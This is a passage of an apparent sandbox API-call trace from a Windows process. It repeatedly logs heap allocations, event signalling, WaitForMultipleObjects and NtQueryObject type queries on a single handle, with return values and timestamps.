| out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.800] ResetEvent (hEvent=0x110) returned 1 [0259.800] SetEvent (hEvent=0x114) returned 1 [0259.800] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.800] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.800] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.800] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.800] GetFileType (hFile=0x1b8) returned 0x3 [0259.800] ResetEvent (hEvent=0x110) returned 1 [0259.800] SetEvent (hEvent=0x114) returned 1 [0259.800] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.800] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.800] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.800] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.800] GetFileType (hFile=0x1b8) returned 0x3 [0259.800] ResetEvent (hEvent=0x110) returned 1 [0259.800] SetEvent (hEvent=0x114) returned 1 [0259.801] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.801] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.801] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.801] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.801] GetFileType (hFile=0x1b8) returned 0x3 [0259.801] ResetEvent (hEvent=0x110) returned 1 [0259.801] SetEvent (hEvent=0x114) returned 1 [0259.801] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.801] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.801] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.801] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.801] ResetEvent (hEvent=0x110) returned 1 [0259.801] SetEvent (hEvent=0x114) returned 1 [0259.801] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.801] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.801] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.801] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.801] ResetEvent (hEvent=0x110) returned 1 [0259.801] SetEvent (hEvent=0x114) returned 1 [0259.802] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.802] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.802] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.802] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.802] ResetEvent (hEvent=0x110) returned 1 [0259.802] SetEvent (hEvent=0x114) returned 1 [0259.802] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.802] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.802] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.802] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.802] ResetEvent (hEvent=0x110) returned 1 [0259.802] SetEvent (hEvent=0x114) returned 1 [0259.802] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.802] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.802] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.802] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.802] ResetEvent (hEvent=0x110) returned 1 [0259.802] SetEvent (hEvent=0x114) returned 1 [0259.803] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.803] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.803] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.803] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.803] ResetEvent (hEvent=0x110) returned 1 [0259.803] SetEvent (hEvent=0x114) returned 1 [0259.820] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.820] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.820] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.820] ResetEvent (hEvent=0x110) returned 1 [0259.820] SetEvent (hEvent=0x114) returned 1 [0259.820] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.820] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.820] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.820] ResetEvent (hEvent=0x110) returned 1 [0259.820] SetEvent (hEvent=0x114) returned 1 [0259.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.821] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.821] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.821] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.821] ResetEvent (hEvent=0x110) returned 1 [0259.821] SetEvent (hEvent=0x114) returned 1 [0259.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.821] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.821] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.821] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.821] ResetEvent (hEvent=0x110) returned 1 [0259.821] SetEvent (hEvent=0x114) returned 1 [0259.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.821] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.821] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.821] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.821] ResetEvent (hEvent=0x110) returned 1 [0259.822] SetEvent (hEvent=0x114) returned 1 [0259.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.822] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.822] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.822] ResetEvent (hEvent=0x110) returned 1 [0259.822] SetEvent (hEvent=0x114) returned 1 [0259.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.822] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.822] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.822] ResetEvent (hEvent=0x110) returned 1 [0259.822] SetEvent (hEvent=0x114) returned 1 [0259.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.822] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.823] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.823] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.823] ResetEvent (hEvent=0x110) returned 1 [0259.823] SetEvent (hEvent=0x114) returned 1 [0259.823] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.823] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.823] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.823] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.823] ResetEvent (hEvent=0x110) returned 1 [0259.823] SetEvent (hEvent=0x114) returned 1 [0259.823] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.823] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.823] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.823] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.823] ResetEvent (hEvent=0x110) returned 1 [0259.823] SetEvent (hEvent=0x114) returned 1 [0259.823] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.823] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.824] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.824] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.824] ResetEvent (hEvent=0x110) returned 1 [0259.824] SetEvent (hEvent=0x114) returned 1 [0259.824] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.824] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.824] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.824] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.824] ResetEvent (hEvent=0x110) returned 1 [0259.824] SetEvent (hEvent=0x114) returned 1 [0259.824] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.824] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.824] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.824] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.824] ResetEvent (hEvent=0x110) returned 1 [0259.824] SetEvent (hEvent=0x114) returned 1 [0259.824] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.824] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.825] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.825] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.825] ResetEvent (hEvent=0x110) returned 1 [0259.825] SetEvent (hEvent=0x114) returned 1 [0259.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.825] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.825] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.825] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.825] ResetEvent (hEvent=0x110) returned 1 [0259.825] SetEvent (hEvent=0x114) returned 1 [0259.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.825] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.825] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.825] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.825] ResetEvent (hEvent=0x110) returned 1 [0259.825] SetEvent (hEvent=0x114) returned 1 [0259.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.825] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.826] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.826] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.826] ResetEvent (hEvent=0x110) returned 1 [0259.826] SetEvent (hEvent=0x114) returned 1 [0259.826] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.826] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.826] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.826] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.826] ResetEvent (hEvent=0x110) returned 1 [0259.826] SetEvent (hEvent=0x114) returned 1 [0259.826] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.826] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.826] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.826] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.826] ResetEvent (hEvent=0x110) returned 1 [0259.826] SetEvent (hEvent=0x114) returned 1 [0259.826] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.827] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.827] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.827] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.827] ResetEvent (hEvent=0x110) returned 1 [0259.827] SetEvent (hEvent=0x114) returned 1 [0259.827] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.827] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.827] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.827] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.827] ResetEvent (hEvent=0x110) returned 1 [0259.827] SetEvent (hEvent=0x114) returned 1 [0259.827] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.827] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.827] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.827] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.827] ResetEvent (hEvent=0x110) returned 1 [0259.827] SetEvent (hEvent=0x114) returned 1 [0259.827] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.828] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.828] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.828] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.828] ResetEvent (hEvent=0x110) returned 1 [0259.828] SetEvent (hEvent=0x114) returned 1 [0259.828] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.828] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.828] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.828] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.828] ResetEvent (hEvent=0x110) returned 1 [0259.828] SetEvent (hEvent=0x114) returned 1 [0259.828] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.828] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.828] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.828] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.828] ResetEvent (hEvent=0x110) returned 1 [0259.828] SetEvent (hEvent=0x114) returned 1 [0259.828] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.829] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.829] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.829] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.829] ResetEvent (hEvent=0x110) returned 1 [0259.829] SetEvent (hEvent=0x114) returned 1 [0259.829] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.829] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.829] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.829] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.829] ResetEvent (hEvent=0x110) returned 1 [0259.829] SetEvent (hEvent=0x114) returned 1 [0259.829] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.829] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.829] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.829] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.829] ResetEvent (hEvent=0x110) returned 1 [0259.829] SetEvent (hEvent=0x114) returned 1 [0259.829] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.830] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.830] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.830] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.830] ResetEvent (hEvent=0x110) returned 1 [0259.830] SetEvent (hEvent=0x114) returned 1 [0259.830] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.830] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.830] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.830] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.830] ResetEvent (hEvent=0x110) returned 1 [0259.830] SetEvent (hEvent=0x114) returned 1 [0259.830] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.830] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.830] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.830] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.830] ResetEvent (hEvent=0x110) returned 1 [0259.830] SetEvent (hEvent=0x114) returned 1 [0259.831] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.831] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.831] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, 